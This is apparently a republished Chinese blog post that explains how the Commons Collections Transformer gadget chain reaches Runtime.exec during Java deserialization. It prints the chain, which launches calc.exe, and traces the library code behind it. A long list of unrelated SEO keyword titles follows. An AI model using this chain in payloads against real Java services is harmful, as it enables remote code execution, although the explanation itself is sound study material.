java反序列化 - Transformer类可以执行恶意代码的原理
发表于:2025-02-01 作者:千家信息网编辑
千家信息网最后更新 2025年02月01日,java反序列化 - Transformer类可以执行恶意代码的原理0x00 代码Transformer[] transformers = new Transformer[]{
千家信息网最后更新 2025年02月01日java反序列化 - Transformer类可以执行恶意代码的原理
java反序列化 - Transformer类可以执行恶意代码的原理
0x00 代码
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}), }; Transformer transformerChain = new ChainedTransformer(transformers); ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStream objOut; try { objOut = new ObjectOutputStream(out); objOut.writeObject(transformerChain); transformerChain.transform(null); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); }
执行结果:
0x01 Transformer类为什么可以执行恶意代码?
transformerChain.transform(null); 执行的是:ChainedTransformer类的transform方法
public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
object = iTransformers[i].transform(object); 执行的是InvokerTransformer类的transform方法
public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }
通过反射机制调用runtime.class的getMethod方法,继续调用invoke方法生成了一个runtime的对象,最后执行该对象的exec方法,因此造成了反序列化漏洞。
可以参考:
https://blog.51cto.com/13770310/2159962 的0x03 补充
方法
代码
序列
恶意
对象
原理
机制
漏洞
结果
参考
反射
生成
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
分布式存储服务器龙头
漫放服务器维护调整中啥意思
小区物联网络技术
数据库 优势 效率
网络安全 厂商 估值
服务器运行按键精灵
北京寻舍互联网科技有限公司
s的服务器
网络安全主体责任安全承诺书
华为服务器斗罗大陆
数据库窗体设计label13
数据库怎么显示labview
太原计算机软件开发公司
网络安全所涉及法律
列存储数据库中的复合查询
挑战一天炸完mc一百个服务器
嘉兴企业软件开发项目
怎样面临网络安全教育
包头跑腿app软件开发
网络安全组织制度建设
vba筛选部分数据库
绯石之心九游服务器开服
天翼云服务器安全卫士风险分析
数据库技术经典书籍
职教学生的网络安全教育
专业技术人员网络安全知识答案
网络安全预防宣教成效显著
网络安全的命脉企业辰安科技
警方如何收集dna数据库
大数据数据库逻辑设计